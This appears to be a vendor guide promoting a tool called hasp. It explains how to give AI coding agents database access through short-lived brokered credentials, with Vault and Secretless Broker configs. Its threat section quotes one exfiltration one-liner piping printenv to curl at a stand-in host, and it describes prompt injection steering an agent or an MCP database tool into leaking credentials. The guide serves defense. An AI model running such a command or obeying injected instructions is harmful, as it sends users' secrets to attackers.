GUIDE · HOW-TO 8 min ·

Give your AI agent database access without the passwordBroker a short-lived role at connect time

Your agent needs to run queries, not hold your production password. Those are two different things, and separating them takes about an hour.

TL;DR· the answer, in twenty seconds

What happened: The common pattern hands the agent a database connection string in .env, which means every subprocess, MCP server, and dependency it loads can read your production password.

The minimum fix: Stop giving the agent a long-lived credential. Broker a short-lived, scoped role at connect time so the agent can query without ever holding the password.

The lesson: The agent needs query access, not the credential. Keep those two things apart and a leak stops being a breach.

Your agent needs to read from the database, so you put DATABASE_URL in .env and move on. Now every process that agent spawns can read your production Postgres password, and so can anything those processes load.

The confused deputy at your database

A coding agent is a deputy. It acts with your authority, on your machine, against your resources. The moment you write a full connection string into the environment, you have handed that authority to the agent and to everything downstream of it: the MCP servers it talks to, the test runner it shells out to, the npm dependency that got updated yesterday. SANS calls this the confused-deputy problem, and a database connection string is the cleanest example of it. The agent only needed to run a SELECT. You gave it the keys to the whole instance.

The exposure is wider than people expect. On a typical setup, process.env.DATABASE_URL is readable by any child process the agent launches, because environment variables are inherited down the process tree. A prompt injection that convinces the agent to run printenv | curl -X POST evil.example -d @- walks the credential straight out. A malicious dependency does the same with three lines in a postinstall script. You do not need a sophisticated attacker. You need one tool in the chain that reads its own environment, which is all of them.

The 2026 guidance has converged on the same answer. NIST's NCCoE concept paper on AI agent identity, published in February, points at short-lived tokens and credential brokering rather than static secrets. Bitwarden shipped an Agent Access SDK built around the idea that an agent should request access under human-set policy instead of holding a vault of long-lived keys. The pattern underneath all of it is older than the agent hype: do not give the consumer the credential, give it a brokered connection.

What brokering actually means

Brokering separates two things that a connection string fuses together: the right to run a query, and possession of the password. With a broker in place, the agent connects to something local that already holds the real credential. The broker authenticates the agent, checks policy, opens the upstream connection with the real secret, and hands back a working session. The agent runs its query. It never reads the password, because the password was never in its environment.

Two mechanisms do this well, and they compose. The first mints a fresh, short-lived database role on demand. The second proxies the connection so the agent never touches a credential at all. Use the first if you want the agent to hold a credential that expires in minutes. Use the second if you want it to hold nothing.

Option 1: mint a short-lived role on demand

HashiCorp Vault and its Linux Foundation fork OpenBao both ship a database secrets engine that generates a Postgres role per request, with a grant set you define and a TTL measured in minutes. The agent asks for credentials when it needs them, gets a username and password valid for fifteen minutes, and the role is dropped when the lease expires.

Configure the engine once, against an admin role that can create users:

vault secrets enable database

vault write database/config/appdb \
  plugin_name=postgresql-database-plugin \
  allowed_roles="agent-readonly" \
  connection_url="postgresql://:@db.internal:5432/app" \
  username="vault-provisioner" \
  password="$PROVISIONER_PW"

vault write database/roles/agent-readonly \
  db_name=appdb \
  default_ttl="15m" \
  max_ttl="1h" \
  creation_statements="CREATE ROLE \"\" WITH LOGIN PASSWORD '' VALID UNTIL ''; \
    GRANT SELECT ON ALL TABLES IN SCHEMA public TO \"\";"

The creation_statements block is the whole point. The brokered role gets SELECT on the public schema and nothing else. No INSERT, no DELETE, no access to other schemas, no superuser. You decide what the agent can do once, in SQL, and every credential it receives inherits that ceiling.

The agent, or a thin wrapper around it, fetches a credential at the start of a task:

vault read -format=json database/creds/agent-readonly
# => { "data": { "username": "v-agent-readonly-x9f2", "password": "A1b2...", ... }, "lease_duration": 900 }

Fifteen minutes later the lease expires and Postgres can no longer authenticate that role. A credential that exfiltrates is a credential that is already dead by the time anyone uses it. The blast radius of a leak shrinks from "until you notice and rotate" to "the back half of a coffee break." AWS Secrets Manager and Infisical both offer the same dynamic-credential model if you are already living in one of those.

You also get a kill switch. If a session looks wrong, you do not rotate the master password and restart every service that used it. You revoke the lease, and the one role that session held stops working:

vault lease revoke database/creds/agent-readonly/x9f2Kq...
# or drop every credential the engine ever minted, at once
vault lease revoke -prefix database/creds/agent-readonly

This is the operational difference that matters at 2 a.m. With a static password, a suspected leak means a rotation that touches everything. With brokered leases, it means revoking the one role the suspicious task held while everything else keeps running. The provisioner credential itself, the $PROVISIONER_PW that Vault uses to mint roles, never goes near the agent. It lives in the broker, scoped to CREATE ROLE, and you rotate it on your own schedule rather than the attacker's.

Option 2: a proxy the agent can't read through

Short-lived is good. Zero is better. CyberArk's open-source Secretless Broker runs as a sidecar that listens on a local socket, holds the upstream credential itself, and injects it into connections the agent opens. The agent connects to 127.0.0.1 with no password in its config and no password in its environment. Secretless completes the handshake upstream.

A minimal Postgres config wires the broker to a Vault-brokered credential, so the two options stack:

version: 2
services:
  pg:
    connector: pg
    listenOn: tcp://127.0.0.1:5432
    credentials:
      host: db.internal
      username:
        from: vault
        get: database/creds/agent-readonly#username
      password:
        from: vault
        get: database/creds/agent-readonly#password

Now the agent's DATABASE_URL is postgresql://127.0.0.1:5432/app with no credentials in it at all. Point the agent at the local listener, and a dump of its environment yields nothing worth stealing. The real password lives in the broker's memory, in a different process, that the agent has no reason to read and no path to.

This is the model the 2026 standards bodies keep describing. SPIFFE/SPIRE does the same thing for service identity: a workload proves who it is and gets a short-lived identity document, never a long-lived shared secret. The shape is identical. Identity in, scoped and expiring access out, the real credential held by something the workload cannot read.

Scope it to the process, not the machine

Brokering fixes possession. It does not, by itself, fix scope. If the broker hands a credential to "the agent" but the agent is one process in a tree of twelve, you have narrowed the credential's lifetime without narrowing who in that tree can use it. The MCP server two hops down still inherits the connection.

Scope the access to the specific process that should have it, and log every grant. You want a record that says this agent, in this project, asked for a read-only role at this timestamp, and the lease expired at that one. When something looks wrong in the database later, the audit trail tells you which task touched it instead of leaving you to guess. This is where hasp fits: it brokers the credential to the requesting process by its place in the process tree, not to the whole machine, and writes a tamper-evident line for every access. The agent gets the query. The subprocess it spawned does not get a free ride on the same credential.

The general rule holds whatever you use to enforce it. A brokered credential that any sibling process can pull is better than a static one in .env, and worse than a credential scoped to the one process that earned it.

What doesn't count as a fix

A few moves feel like progress and are not. Pointing the agent at a read replica narrows what it can write, which is worth doing, but the replica still authenticates with a password that lives in the agent's environment and still holds every row of customer data for reads. Scope is not the same as possession. You have reduced the damage of a misused credential without reducing the chance that the credential leaks.

An IP allowlist on the database is the same kind of half-measure. It stops a credential from being used off your network, which raises the bar, but the agent runs on your network. The exfiltration path that matters is the credential leaving, not a stranger dialing in from a coffee shop. An allowlist does nothing about a dependency that reads process.env and posts it to a server you do reach.

The one that fools the most people: moving the password from .env into an MCP server's config. If the agent talks to a database MCP server and that server holds the connection string, you have not removed the credential from the agent's reach. You have moved it one process over, into something the agent drives by design. A prompt injection that can ask the MCP server to run arbitrary SQL does not need to read the password. It already has a tool that uses it. Brokering helps here only when the broker, not the MCP server, holds the upstream secret and scopes what the server may ask for.

The test for any of these is mechanical. Can a process the agent controls cause your real, long-lived credential to leave the machine, either by reading it or by driving a tool that holds it? If yes, you have relocated the problem. If no, you have actually solved it.

What this means for your stack

The minimum action this week: get the connection string out of .env and out of every agent config. Replace it with a credential that is either short-lived, brokered through a local proxy, or both. An hour of Vault setup turns a standing exposure into a fifteen-minute window, and a Secretless sidecar turns it into nothing in the agent's reach at all.

The pattern is runtime brokering. The consumer asks for access when it needs it, a broker that holds the real secret checks policy and opens the connection, and the consumer works against a session it can use but a credential it cannot read or keep. This is the same architecture behind dynamic database secrets, sidecar credential injection, and workload identity. The agent boom did not invent the problem. It just put a fast, autonomous, dependency-hungry process in the deputy seat and made the old shortcut indefensible.

hasp is one working implementation of the process-scoped version. hasp run -- psql brokers the connection to that process and its children, logs the access, and never exports the password into the environment. Source-available (FCL-1.0), local-first, macOS and Linux, no account.

Whatever you reach for, the test is the same. Dump the agent's environment and read what falls out. If your production database password is in there, you have not given the agent database access. You have given it your database.

Sources· cited above, in one place

NEXT STEP~90 seconds

Stop handing the agent your real keys.

hasp keeps secrets in one local encrypted vault, brokers them into the child process at exec, and never lets the agent read the value.

  • Local, encrypted vault — no account, no cloud, no telemetry by default.
  • Brokered run — agent gets a reference, the child process gets the value.
  • Pre-commit + pre-push hooks catch managed values before they ship.
  • Append-only HMAC audit log answers "did the agent touch the prod token?" in seconds.
→ okvault unlocked · binding ./api
→ okgrant once · pid 88421
→ okagent never read

macOS & Linux. Source-available (FCL-1.0, converts to Apache 2.0). No account.

Browse all clusters· eight threads, one index